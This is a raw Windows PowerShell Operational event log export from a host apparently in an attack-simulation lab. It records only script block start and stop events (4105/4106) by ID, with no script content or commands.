Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032653
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032652
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032651
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032650
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032633
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032628
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032627
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
